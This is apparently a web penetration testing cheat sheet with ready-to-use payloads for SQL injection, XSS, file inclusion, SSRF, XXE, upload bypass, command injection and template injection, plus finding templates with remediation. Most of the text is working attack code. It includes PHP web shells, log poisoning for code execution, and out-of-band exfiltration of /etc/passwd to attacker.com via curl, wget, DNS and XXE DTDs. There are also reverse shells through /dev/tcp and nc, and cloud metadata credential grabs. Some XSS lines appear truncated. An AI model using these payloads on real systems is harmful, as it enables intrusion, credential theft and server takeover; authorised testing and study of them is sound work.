Pentest Web Attacks

Web Application Penetration Testing

Comprehensive web attack methodologies for OSCP+/OSEP preparation. Covers SQL injection, XSS, LFI/RFI, SSRF, XXE, file upload bypass, command injection, and SSTI.

Quick Start

# Full web assessment workflow
/web-scan TARGET_URL
/sqli-test TARGET_URL
/xss-test TARGET_URL
/lfi-test TARGET_URL
/ssrf-test TARGET_URL

Phase 1: SQL Injection

1.1 String-Based SQL Injection

# Basic string injection
' OR '1'='1
' OR '1'='1' --
' OR '1'='1' /*
') OR ('1'='1
') OR ('1'='1') --

# Authentication bypass
admin' --
admin' #
admin'/*
' OR 1=1 --
' OR '1'='1' --

# Union-based enumeration
' UNION SELECT NULL --
' UNION SELECT NULL,NULL --
' UNION SELECT NULL,NULL,NULL --

# Find number of columns
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --

# Extract database info
' UNION SELECT 1,2,3 --
' UNION SELECT 1,database(),3 --
' UNION SELECT 1,version(),3 --
' UNION SELECT 1,user(),3 --

1.2 Numeric SQL Injection

# Basic numeric injection
1 OR 1=1
1 OR 1=1 --
1 OR 1=1 #
1' OR 1=1 --
1') OR (1=1 --

# Union-based enumeration
1 UNION SELECT 1,2,3 --
1 UNION SELECT 1,database(),3 --
1 UNION SELECT 1,version(),3 --

# Boolean-based
1 AND 1=1 --
1 AND 1=2 --
1 AND (SELECT COUNT(*) FROM users) > 0 --

# Time-based
1 AND SLEEP(5) --
1; WAITFOR DELAY '0:0:5' --
1 AND BENCHMARK(10000000,MD5('test')) --

1.3 UNION-Based SQL Injection

# Basic UNION injection
' UNION SELECT username,password FROM users --
' UNION SELECT column_name,table_name FROM information_schema.columns --
' UNION SELECT table_name,NULL FROM information_schema.tables --

# MySQL
' UNION SELECT 1,2,3,4,5 INTO OUTFILE '/var/www/shell.php' --
' UNION SELECT 1,2,3,4,5 INTO DUMPFILE '/var/www/shell.php' --

# PostgreSQL
' UNION SELECT 1,2,3 INTO TABLE pg_read_file('/etc/passwd') --
' UNION SELECT COPY (SELECT 'test') TO '/tmp/test.txt' --

# MSSQL
' UNION SELECT 1,2,3 INTO OPENROWSET('SQLNCLI','Server=x;Database=y;Uid=z','SELECT * FROM table') --

1.4 Error-Based SQL Injection

# MySQL
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()))) --
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT version())),1) --

# PostgreSQL
' AND (SELECT CAST(version() AS NUMERIC)) --
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT version()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) --

# MSSQL
' AND (SELECT CONVERT(INT,@@version)) --
' AND (SELECT 1/@@version) --

1.5 Blind SQL Injection

# Boolean-based blind
' AND SUBSTRING((SELECT database()),1,1)='a' --
' AND ASCII(SUBSTRING((SELECT user()),1,1))=97 --
' AND (SELECT COUNT(*) FROM users WHERE username='admin') > 0 --

# Time-based blind (MySQL)
' AND SLEEP(5) --
' AND IF(1=1,SLEEP(5),0) --
' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END) --

# Time-based blind (PostgreSQL)
' AND (SELECT PG_SLEEP(5)) --
' AND (SELECT CASE WHEN (1=1) THEN PG_SLEEP(5) ELSE 0 END) --

# Time-based blind (MSSQL)
' AND WAITFOR DELAY '0:0:5' --
' AND IF(1=1) WAITFOR DELAY '0:0:5' --

# OAST-based blind
' AND (SELECT LOAD_FILE(CONCAT('',(SELECT database()),'.attacker.com\\test'))) --
' AND (SELECT pg_read_file('/etc/passwd')) --

1.6 SQLMap Automation

# Basic scan
sqlmap -u "http://target.com/page?id=1"

# Advanced scan
sqlmap -u "http://target.com/page?id=1" --batch --risk=3 --level=5

# Database enumeration
sqlmap -u "http://target.com/page?id=1" --dbs
sqlmap -u "http://target.com/page?id=1" -D database --tables
sqlmap -u "http://target.com/page?id=1" -D database -T users --columns
sqlmap -u "http://target.com/page?id=1" -D database -T users -C username,password --dump

# File access
sqlmap -u "http://target.com/page?id=1" --file-read="/etc/passwd"
sqlmap -u "http://target.com/page?id=1" --file-write="/tmp/shell.php" --file-dest="/var/www/shell.php"

# OS shell
sqlmap -u "http://target.com/page?id=1" --os-shell
sqlmap -u "http://target.com/page?id=1" --os-cmd="whoami"

# POST requests
sqlmap -u "http://target.com/login" --data="username=admin&password=test"

# Cookie injection
sqlmap -u "http://target.com/page" --cookie="session=abc123"

# Header injection
sqlmap -u "http://target.com/page" --headers="X-Forwarded-For: 127.0.0.1"

# Tamper scripts
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment,between,equaltolike

1.7 Second-Order SQL Injection

# Store payload in database
username: admin' AND (SELECT SLEEP(5)) --
password: test123

# Trigger on second request
GET /profile?user=admin

# Or extract data
username: admin' AND (SELECT LOAD_FILE(CONCAT('',(SELECT database()),'.attacker.com\\a'))) --

1.8 NoSQL Injection

# MongoDB
username: {"$ne": null}
password: {"$ne": null}

username: {"$regex": "^a"}
password: {"$regex": ".*"}

# Authentication bypass
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}

# Union-based
{"$where": "return this.username == 'admin'"}

# Blind NoSQL
username[$regex]=a.*
password[$ne]=random

Phase 2: Cross-Site Scripting (XSS)

2.1 HTML Context XSS

# Basic payload
<script>alert(1)</script>
<script>alert(document.domain)</script>
<script>alert(document.cookie)</script>

# Without script tags
<img src=x
<svg
<body
<iframe

# Event handlers
<img src=x
<img src=x
<div me</div>
<a href="javascript:alert(1)">click me</a>

# Bypass filters
<ScRiPt>alert(1)</ScRiPt>
<scr<script>ipt>alert(1)</scr</script>ipt>
<script/src=//evil.com/xss.js></script>

2.2 Attribute Context XSS

# Break out of attribute
"
'
><script>alert(1)</script>

# Inside href
javascript:alert(1)
data:text/html,<script>alert(1)</script>

# Inside src
javascript:alert(1)
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

# Inside value
";alert(1);"
'-alert(1)-'

2.3 JavaScript Context XSS

// Inside JavaScript variable
';alert(1);//
');alert(1);//
'};alert(1);//{

// Template literal
${alert(1)}
${document.domain}

// Without quotes
;alert(1)//
-alert(1)-
+alert(1)+

2.4 URL-Based XSS

# In URL parameter
?callback=<script>alert(1)</script>
?redirect=<script>alert(1)</script>
?url=<script>alert(1)</script>

# In fragment
#<script>alert(1)</script>
#javascript:alert(1)

# Encoded payloads
%3Cscript%3Ealert(1)%3C/script%3E
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E

2.5 DOM-Based XSS

# Sink sources
document.write()
document.writeln()
element.innerHTML
element.outerHTML
eval()
setTimeout()
setInterval()
location.hash
location.search

# Payloads
#<img src=x
#javascript:alert(1)
#<svg

# Exploitation
http://target.com/page#<img src=x
http://target.com/page?callback=<script>alert(1)</script>

2.6 SVG XSS

# SVG payloads
<svg
<svg/onload=alert(1)>
<svg><script>alert(1)</script></svg>
<svg><script xlink:href="data:,alert(1)"></script></svg>

# SVG file upload
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <rect width="300" height="200" style="fill:rgb(0,0,255);" />
  <script type="text/javascript">alert(1)</script>
</svg>

2.7 XSS Polyglot

# Jaeger's polyglot
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcLiCk=alert(1) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(1)//>

# Ashar's polyglot
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \"

# Simple polyglot
"><img/src=x

2.8 XSS Filter Bypass

# Case variation
<ScRiPt>alert(1)</ScRiPt>

# Double encoding
%253Cscript%253Ealert(1)%253C/script%253E

# Unicode encoding
\u003cscript\u003ealert(1)\u003c/script\u003e

# HTML entities
&#60;script&#62;alert(1)&#60;/script&#62;

# Null byte injection
<scr\u0000ipt>alert(1)</script>

# Newline bypass
<script%0A>alert(1)</script>
<script%0D>alert(1)</script>

# Tab bypass
<script%09>alert(1)</script>

2.9 XSS with Dalfox

# Basic scan
dalfox url http://target.com/page

# Advanced scan
dalfox url http://target.com/page -o dalfox_report.html

# With wordlist
dalfox url http://target.com/page -w custom_wordlist.txt

# Blind XSS
dalfox url http://target.com/page --blind https://your-bxss-server.com

# Multi-url
cat urls.txt | dalfox pipe -o report.html

Phase 3: Local File Inclusion (LFI)

3.1 Path Traversal

# Basic traversal
../../../etc/passwd
....//....//....//etc/passwd
..%2f..%2f..%2fetc%2fpasswd

# URL encoding
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd%00

# Double URL encoding
%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd

# UTF-8 encoding
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afetc%c0%afpasswd

# Null byte (PHP < 5.3.4)
../../../etc/passwd%00
../../../etc/passwd\0

3.2 PHP Wrappers

# php://filter
php://filter/convert.base64-encode/resource=index.php
php://filter/read=string.rot13/resource=index.php
php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd

# php://input (POST data)
php://input
# POST: <?php system($_GET['cmd']); ?>

# data:// wrapper
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+
data://text/plain,<?php system($_GET['cmd']); ?>

# expect:// wrapper (requires php_expect extension)
expect://id
expect://whoami

# zip:// wrapper
zip://shell.jpg%23shell.php
# Upload shell.jpg containing <?php system($_GET['cmd']); ?>
# Then access: ?page=zip://shell.jpg%23shell.php

# phar:// wrapper
phar://shell.jpg/shell.php

3.3 Linux Files

# User files
/etc/passwd
/etc/shadow
~/.bash_history
~/.ssh/id_rsa
~/.ssh/authorized_keys
/var/mail/username

# Web files
/var/www/html/index.php
/var/www/html/config.php
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/nginx/error.log

# System files
/proc/self/environ
/proc/self/cmdline
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2
/proc/version
/etc/hosts
/etc/hostname

3.4 Windows Files

# System files
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\Windows\system.ini
C:\boot.ini

# User files
C:\Users\username\AppData\Local\Microsoft\Windows\History\*
C:\Users\username\AppData\Local\Microsoft\Windows\Temporary Internet Files\*
C:\Users\username\Documents\*

# Web files
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\u_ex*.log
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log

# Application files
C:\Program Files\*\*.log
C:\Program Files (x86)\*\*.log

3.5 LFI to RCE

# /proc/self/environ
?page=/proc/self/environ&cmd=id
# Add User-Agent: <?php system($_GET['cmd']); ?>

# Log poisoning
# 1. Poison logs
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com
# 2. Include logs
?page=/var/log/apache2/access.log&cmd=id

# PHP session files
?page=/var/lib/php/sess_SESSID
# Set session data: <?php system($_GET['cmd']); ?>

# Upload + LFI
# 1. Upload image with PHP payload in metadata
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" shell.jpg
# 2. Include via LFI
?page=uploads/shell.jpg&cmd=id

3.6 LFI Automation

# LFI scanner
liffy -u "http://target.com/page?file="

# fimap
fimap -u "http://target.com/page?file="
fimap -m -u "http://target.com/page?file="

# LFISuite
python3 lfisuite.py --auto "http://target.com/page?file="

Phase 4: Server-Side Request Forgery (SSRF)

4.1 Basic SSRF

# Internal network
http://127.0.0.1:80
http://localhost:80
http://0.0.0.0:80
http://[::]:80

# Internal IPs
http://192.168.1.1
http://10.0.0.1
http://172.16.0.1

# With ports
http://127.0.0.1:22
http://127.0.0.1:3306
http://127.0.0.1:6379
http://127.0.0.1:27017

4.2 SSRF Filter Bypass

# URL encoding
http://%31%32%37%2e%30%2e%30%2e%31
http://127.0.0.1%00

# DNS rebinding
http://127.1.1.1.nip.io
http://127.1.1.1.xip.io

# Decimal IP
http://2130706433/  (127.0.0.1)

# Octal IP
http://0177.0.0.1
http://0177.0.0.01

# IPv6
http://[::1]:80
http://[0:0:0:0:0:ffff:7f00:1]

# Mixed encoding
http://127.0.0.1%252f%252e%252e
http://localhost%2500.com

4.3 Cloud Metadata SSRF

# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/public-keys/

# GCP
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/instance/attributes/

# Azure
http://169.254.169.254/metadata/instance/compute/?api-version=2021-02-01
http://169.254.169.254/metadata/instance/compute/osProfile?api-version=2021-02-01

# DigitalOcean
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/user-data

# Alibaba Cloud
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/

# Oracle Cloud
http://192.0.0.192/latest/instance/

4.4 SSRF with Gopher

# Redis
gopher://127.0.0.1:6379/_SET%20mykey%20myvalue
gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20%2Fvar%2Fwww%2Fhtml
gopher://127.0.0.1:6379/_CONFIG%20SET%20dbfilename%20shell.php
gopher://127.0.0.1:6379/_SET%20mykey%20%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E
gopher://127.0.0.1:6379/_SAVE

# MySQL
gopher://127.0.0.1:3306/_SELECT%201;SHOW%20DATABASES;

# SMTP
gopher://127.0.0.1:25/_MAIL%20FROM:<attacker@evil.com>%0D%0A

# Memcached
gopher://127.0.0.1:11211/_set%20mykey%200%200%2010%0D%0amyvalue%0D%0A

4.5 SSRF with Dict

# Port scanning
dict://127.0.0.1:22/
dict://127.0.0.1:80/
dict://127.0.0.1:443/

# Service fingerprinting
dict://127.0.0.1:6379/INFO

4.6 SSRF Tools

# SSRFmap
git clone https://github.com/swisskyrepo/SSRFmap
python3 ssrfmap.py -u "http://target.com/page?url=" -p aws

# Gopherus
python3 gopherus.py --exploit

# See-SURF
python3 see-surf.py --url "http://target.com"

Phase 5: XML External Entity (XXE)

5.1 In-Band XXE

# Basic XXE
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

# PHP wrapper
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<foo>&xxe;</foo>

# Windows files
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<foo>&xxe;</foo>

5.2 Out-of-Band XXE

# External DTD
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<foo>&xxe;</foo>

# evil.dtd content
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfiltrate;

# Parameter entity XXE
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % param SYSTEM "http://attacker.com/evil.dtd">
  %param;
]>
<foo>test</foo>

5.3 Blind XXE

# Error-based
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
  %eval;
  %error;
]>
<foo>test</foo>

# Time-based
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY &#x25; delay SYSTEM 'http://attacker.com/'>">
  %eval;
  %delay;
]>
<foo>test</foo>

5.4 XXE with Different Parsers

# Java (SAXParser)
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://attacker.com/">
]>
<foo>&xxe;</foo>

# .NET (XmlDocument)
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<foo>&xxe;</foo>

# Python (lxml)
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

# PHP (simplexml_load_string)
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<foo>&xxe;</foo>

5.5 XXE OOB with FTP

# FTP DTD
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'ftp://attacker.com:2121/%data;'>">
%eval;
%exfiltrate;

# Start FTP server
nc -lvnp 2121

Phase 6: File Upload Bypass

6.1 Extension Bypass

# Common extensions
.php, .php3, .php4, .php5, .php7, .phtml
.asp, .aspx, .ashx, .asmx
.jsp, .jspx, .jspf
.cgi, .pl

# Double extension
shell.php.jpg
shell.php.png
shell.php5.gif

# Reverse extension
shell.phtml.php
shell.asp.aspx

# Null byte
shell.php%00.jpg
shell.php\0.jpg

# Case variation
shell.Php
shell.PHP
shell.pHp

6.2 Content-Type Bypass

# Change Content-Type
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif

# Burp Suite
# Intercept upload request
# Change Content-Type to image/jpeg
# Forward request

6.3 Magic Bytes Bypass

# GIF89a header
GIF89a;<?php system($_GET['cmd']); ?>

# PNG header
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']); ?>

# JPG header
\xff\xd8\xff\xe0\x00\x10JFIF<?php system($_GET['cmd']); ?>

# Add to file
echo -ne '\x89PNG\r\n\x1a\n' > shell.png
cat shell.php >> shell.png

6.4 Polyglot Files

# GIF-PHP polyglot
GIF89a/*
<?php system($_GET['cmd']); ?>
*/

# PNG-PHP polyglot
\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR<?php system($_GET['cmd']); ?>

# Use exiftool
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" shell.jpg

6.5 .htaccess Upload

# Upload .htaccess
AddType application/x-httpd-php .jpg
AddHandler application/x-httpd-php .jpg

# Then upload shell.jpg
# Access: http://target.com/uploads/shell.jpg?cmd=id

# Or upload with different extension
AddType application/x-httpd-php .png
AddHandler application/x-httpd-php .gif

6.6 SVG Upload XSS

# SVG with XSS
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <rect width="300" height="200" style="fill:rgb(0,0,255);" />
  <script type="text/javascript">alert(document.domain)</script>
</svg>

Phase 7: Command Injection

7.1 Basic Command Injection

# Linux
; id
| id
|| id
&& id
`id`
$(id)

# Windows
& whoami
| whoami
|| whoami
&& whoami
%COMSPEC% /c whoami

7.2 Command Injection Payloads

# Basic
; whoami
| whoami
|| whoami
&& whoami

# With semicolon
; cat /etc/passwd
; ls -la
; id; whoami

# With pipe
| cat /etc/passwd
| ls -la
| id

# With backticks
`cat /etc/passwd`
`ls -la`
`id`

# With $()
$(cat /etc/passwd)
$(ls -la)
$(id)

7.3 Command Injection Filter Bypass

# Space bypass
cat${IFS}/etc/passwd
cat$IFS/etc/passwd
cat</etc/passwd
{cat,/etc/passwd}

# Tab bypass
cat${TAB}/etc/passwd

# Newline bypass
cat%0A/etc/passwd

# Encoding
%3B%20whoami
%7C%20whoami

# Base64
echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash

# Hex encoding
printf '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'

7.4 Out-of-Band Command Injection

# DNS exfiltration
nslookup $(whoami).attacker.com
dig $(cat /etc/passwd | base64).attacker.com

# HTTP exfiltration
curl http://attacker.com/$(whoami)
wget http://attacker.com/$(cat /etc/passwd | base64)

# Reverse shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1
nc -e /bin/sh attacker.com 4444

7.5 Blind Command Injection

# Time-based
; sleep 5
| sleep 5
|| sleep 5
&& sleep 5

# Conditional
; if [ $(id -u) -eq 0 ]; then sleep 5; fi
| ifconfig | grep -q eth0 && sleep 5

# Output-based
; cat /etc/passwd > /tmp/output
; ls -la > /tmp/output

Phase 8: Server-Side Template Injection (SSTI)

8.1 SSTI Detection

# Basic payloads
${7*7}
{{7*7}}
<%= 7*7 %>
#{7*7}
${{7*7}}

# Math expressions
{{7*'7'}}
{{7+'7'}}
{{7-'7'}}
{{7/7}}

# String concatenation
{{'a'+'b'}}
{{'a'.'b'}}

8.2 Jinja2 SSTI (Python)

# Basic
{{7*7}}
{{'a'+'b'}}

# Class exploration
{{''.__class__.__mro__[2].__subclasses__()}}
{{request.__class__.__mro__[2].__subclasses__()}}

# File read
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

# Command execution
{{''.__class__.__mro__[2].__subclasses__()[140].__init__.__globals__['popen']('id').read()}}
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# RCE
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__=={}.__class__ %}{% if 'eval' in b.keys() %}{{b['eval']('__import__("os").popen("id").read()')}}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}

8.3 Twig SSTI (PHP)

# Basic
{{7*7}}
{{'a'~'b'}}

# Class exploration
{{_self.env.registerUndefinedFilterCallback('exec')}}
{{_self.env.getFilter('id')}}

# File read
{{include('/etc/passwd')}}

# Command execution
{{_self.env.registerUndefinedFilterCallback('system')}}
{{_self.env.getFilter('id')}}

8.4 Freemarker SSTI (Java)

# Basic
${7*7}
${'a'+'b'}

# Class exploration
${"freemarker.template.utility.Execute"?new()("id")}

# Command execution
${"freemarker.template.utility.Execute"?new()("whoami")}
${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.Runtime").getRuntime().exec("whoami")}

# File read
${"freemarker.template.utility.ObjectConstructor"?new()("java.io.File","/etc/passwd").exists()}

8.5 ERB SSTI (Ruby)

# Basic
<%= 7*7 %>
<%= 'a'+'b' %>

# Command execution
<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').read %>

# File read
<%= File.read('/etc/passwd') %>

8.6 Pug SSTI (Node.js)

# Basic
#{7*7}
- var x = 7*7

# Command execution
- var x = require('child_process').execSync('id').toString()
#{x}

# File read
- var x = require('fs').readFileSync('/etc/passwd', 'utf8')
#{x}

Integration with HexStrike Tools

# SQLMap scan
mcp__hexstrike-local__sqlmap_scan \
  url="http://target.com/page?id=1" \
  additional_args="--batch --risk=3 --level=5"

# XSS scan with Dalfox
mcp__hexstrike-local__dalfox_xss_scan \
  url="http://target.com/page" \
  blind=true \
  mining_dom=true

# Nikto scan
mcp__hexstrike-local__nikto_scan \
  target="http://target.com" \
  additional_args="-Tuning 123456789"

# WPScan (WordPress)
mcp__hexstrike-local__wpscan_analyze \
  url="http://target.com" \
  additional_args="--enumerate vp,vt,u"

# Dirsearch
mcp__hexstrike-local__dirsearch_scan \
  url="http://target.com" \
  extensions="php,asp,aspx,jsp,html,js,css" \
  recursive=true \
  threads=50

# FFuf fuzzing
mcp__hexstrike-local__ffuf_scan \
  url="http://target.com/FUZZ" \
  wordlist="/usr/share/wordlists/dirb/common.txt" \
  mode="directory" \
  match_codes="200,301,302"

# Nuclei vulnerability scan
mcp__hexstrike-local__nuclei_scan \
  target="http://target.com" \
  severity="critical,high,medium" \
  tags="sqli,xss,lfi,ssrf,xxe"

# Burp Suite alternative
mcp__hexstrike-local__burpsuite_alternative_scan \
  target="http://target.com" \
  scan_type="comprehensive" \
  headless=true \
  max_depth=5

PTES Mapping

Finding Templates

SQL Injection

Severity: Critical CVSS: 9.8

Description: The application is vulnerable to SQL injection attacks through unsanitized user input in database queries.

Evidence:

• Payload ' OR '1'='1 returns different response
• Time-based payloads cause delays
• sqlmap confirms vulnerability

Impact:

• Full database compromise
• Data exfiltration
• Authentication bypass
• Potential RCE via INTO OUTFILE

Remediation:

1. Use parameterized queries/prepared statements
2. Implement input validation
3. Apply least privilege to database accounts
4. Enable WAF rules for SQL injection

Cross-Site Scripting (XSS)

Severity: High CVSS: 7.5

Description: The application reflects or stores user input without proper sanitization, allowing execution of arbitrary JavaScript.

Evidence:

• <script>alert(1)</script> executes in browser
• Event handlers bypass filters
• DOM sinks identified

Impact:

• Session hijacking
• Credential theft
• Defacement
• Malware distribution

Remediation:

1. Implement output encoding
2. Use Content Security Policy (CSP)
3. Validate and sanitize all user input
4. Use frameworks with auto-escaping

Local File Inclusion (LFI)

Severity: High CVSS: 8.2

Description: The application allows inclusion of local files through unsanitized user input in file path parameters.

Evidence:

• ../../../etc/passwd returns file contents
• PHP wrappers successfully exploited
• Log poisoning achieved RCE

Impact:

• Sensitive file disclosure
• Credential theft
• Remote code execution
• Full system compromise

Remediation:

1. Avoid dynamic file inclusion
2. Implement whitelist of allowed files
3. Use chroot jails or containers
4. Disable dangerous PHP wrappers

Server-Side Request Forgery (SSRF)

Severity: High CVSS: 8.6

Description: The application allows fetching of arbitrary URLs, enabling access to internal services and cloud metadata.

Evidence:

• Internal IPs accessible
• Cloud metadata endpoints reachable
• Gopher/Dict protocols abused

Impact:

• Internal network reconnaissance
• Cloud credential theft
• Access to internal services
• Port scanning

Remediation:

1. Validate and whitelist allowed URLs
2. Block internal IP ranges
3. Disable unnecessary protocols
4. Implement network segmentation

XML External Entity (XXE)

Severity: High CVSS: 8.2

Description: The application parses XML input with external entity resolution enabled, allowing file disclosure and SSRF.

Evidence:

• External entities resolved
• File contents exfiltrated
• OOB data exfiltration successful

Impact:

• Sensitive file disclosure
• SSRF attacks
• Denial of service
• Potential RCE

Remediation:

1. Disable external entity resolution
2. Use JSON instead of XML
3. Implement input validation
4. Update XML parsers

File Upload Bypass

Severity: Critical CVSS: 9.1

Description: The application's file upload functionality can be bypassed to upload malicious files.

Evidence:

• PHP files uploaded successfully
• Extension filters bypassed
• Magic bytes validation bypassed

Impact:

• Remote code execution
• Web shell deployment
• Full server compromise
• Data breach

Remediation:

1. Implement strict file type validation
2. Store uploads outside webroot
3. Use random filenames
4. Implement file content validation

Command Injection

Severity: Critical CVSS: 10.0

Description: The application executes system commands with unsanitized user input.

Evidence:

• Command separators accepted
• Commands executed successfully
• OOB exfiltration confirmed

Impact:

• Full system compromise
• Lateral movement
• Data exfiltration
• Persistence

Remediation:

1. Avoid system command execution
2. Use parameterized APIs
3. Implement input validation
4. Run with minimal privileges

Server-Side Template Injection (SSTI)

Severity: Critical CVSS: 9.8

Description: The application renders user-controlled input as template code, allowing arbitrary code execution.

Evidence:

• Math expressions evaluated
• Class exploration successful
• RCE achieved via template engine

Impact:

• Full system compromise
• Data exfiltration
• Lateral movement
• Persistence

Remediation:

1. Use sandboxed template engines
2. Avoid user input in templates
3. Implement input validation
4. Use logic-less templates

Additional Resources

• OWASP Testing Guide
• PayloadsAllTheThings
• HackTricks Web
• PortSwigger Web Security Academy
• PentestCheatsheet